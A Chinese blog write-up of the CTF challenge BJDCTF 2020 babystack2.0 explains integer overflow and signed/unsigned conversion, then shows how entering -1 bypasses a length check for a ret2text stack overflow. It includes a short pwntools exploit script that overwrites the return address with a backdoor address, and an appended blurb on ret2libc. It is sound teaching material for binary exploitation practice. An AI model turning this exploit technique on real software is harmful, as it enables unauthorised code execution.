【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单

目录

前言

一、整数溢出

二、解题思路

1.ELF/checksec查看保护

2.IDA反汇编

3.整数溢出 

4.exp编写

总结


前言

整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。


一、整数溢出

整数溢出

如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出堆溢出,而后两者都会导致任意代码执行。由于整数溢出发生之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。

整数的计算

计算机并不能存储无限大的整数,计算机中的整数类型代表的数值只是自然数的一个子集。

数据类型字节数(16位)字节数(32位)字节数(64位)取值范围(32位)(10进制)取值范围(32位)(16进制)
byte111-128 ~ 1270x00 ~ 0xFF
char111-128 ~ 1270x00 ~ 0xFF
int244-2,147,483,648 ~ 2,147,483,6470xFFFFFFFF ~ 0x80000000(-0)
0x00000000(+0) ~ 0x7FFFFFFF
unsigned int2440 ~ 4,294,967,2950x00000000 ~ 0xFFFFFFFF
float4483.4E +/- 38(7 digits)
double8881.7E +/- 308(15 digits)

异常情况

关于整数的异常情况主要有三种:

  1. 溢出,只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。溢出标志OF可检测有符号数的溢出;
  2. 回绕,无符号数0减1时会变成最大的数,如1字节的无符号数会变为255,而255加1会变成最小数0。进位标志CF可检测无符号数的回绕;
  3. 截断,将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断

或者说计算机中有4种溢出情况,以32位整数为例。

  • 无符号上溢:无符号数0xFFFFFFFF加1变为0的情况。
  • 无符号下溢:无符号数0减去1变为0xFFFFFFFF的情况。
  • 有符号上溢:有符号数正数0x7FFFFFFF加1变为负数0x80000000,即十进制-2147483648的情况。
  • 无符号下溢:有符号负数0x80000000减去1变为正数0x7FFFFFFF的情况。

整数溢出漏洞利用

整数溢出要配合其他类型的缺陷才能有用,不像栈溢出等内存破坏可以直接通过覆盖内存进行利用,常常需要进行一定转换才能溢出。常见的转换方式有两种。

  1. 整数溢出转换成缓冲区溢出
    整数溢出可以将一个很小的数突变成很大的数。比如,无符号下溢可以将一个表示缓冲区大小的较小的数通过减法变成一个超大的整数,导致缓冲区溢出。
    另一种情况是通过输入负数的办法来绕过一些长度检查,如一些程序会使用有符号数字表示长度,那么就可以使用负数来绕过长度上限检查。而大多数系统API使用无符号数来表示长度,此时负数就会变成超大的正数导致溢出。
  2. 整数溢出转数组越界
    在C语言中,数组索引的操作只是简单地将数组指针加上索引来实现,并不会检查边界。因此,很大的索引会访问到数组后的数据,如果索引是负数,那么还会访问到数组之前的内存。
    在数组索引的过程中,数组索引还要乘以数组元素的长度来计算元素的实际地址。以int类型数组为例,数组索引需要乘以4来计算偏移。假如通过传入负数来绕过边界检查,那么正常情况下只能访问数组之前的内存。但由于索引会被乘以 4,那么依然可以索引数组后的数据甚至整个内存空间。例如,想要索引数组后0x1000字节处的内容,只需要传入负数-2147482624,该值用十六进制数表示为0x80000400,再乘以元素长度4后,由于无符号整数上溢结果,即为0x00001000。可以看到,与整数溢出转缓冲区溢出相比,数组越界更容易利用。

整数溢出https://www.cnblogs.com/darkcyan/p/16306448.html

二、解题思路

1.ELF/checksec查看保护

2.IDA反汇编

阅读后大意:输入数字,如果大于10,退出;否则读取数据——read存在栈溢出漏洞 

问题就是read的输入长度需要“小于10”才可以执行——明面上是这样的。 

3.整数溢出 

这里对nbytes做出了限制,有没有一种可能,nbytes<10且足够长呢?整数溢出

这里关注到nbytes的类型是无符号整型,并且在比较代码,贴心地进行了(int)强制类型转换为有符号数——存在整数溢出。

我们可以输入-1——机器码对应的无符号数非常大,然而被转换成有符号数时,足够小 这样是不是就满足我们上面的要求了呢?

在这之后就是最最基本的ret2text了!【PWN · ret2text】——[CTFHub]ret2text_ctfhub ret2text_Mr_Fmnwon的博客-CSDN博客

4.exp编写

确定了基本的模式——

首先输入-1(或其他负数/大正数,-1简单),然后开始ret2text

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
io=remote(...)
backdoor=0x400726
io.sendlineafter("length of your name:","-1")
payload=b'a'*0x18+p64(backdoor)
io.sendlineafter("name?",payload)
io.interactive()

总结

整数溢出一般与其他堆栈溢出相结合,然而其中的内容其实远不止这些,还需要深层次刷题,进一步掌握了解整数溢出。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。&lt;span class=&quot;em&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;em&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;em&quot;&gt;3&lt;/span&gt; #### 引用[.reference_title] - *1* *2* [pwn学习&mdash;&mdash;ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target=&quot;_blank&quot; data-report-click={&quot;spm&quot;:&quot;1018.2226.3001.9630&quot;,&quot;extra&quot;:{&quot;utm_source&quot;:&quot;vip_chatgpt_common_search_pc_result&quot;,&quot;utm_medium&quot;:&quot;distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2&quot;}}] [.reference_item style=&quot;max-width: 50%&quot;] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target=&quot;_blank&quot; data-report-click={&quot;spm&quot;:&quot;1018.2226.3001.9630&quot;,&quot;extra&quot;:{&quot;utm_source&quot;:&quot;vip_chatgpt_common_search_pc_result&quot;,&quot;utm_medium&quot;:&quot;distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2&quot;}}] [.reference_item style=&quot;max-width: 50%&quot;] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值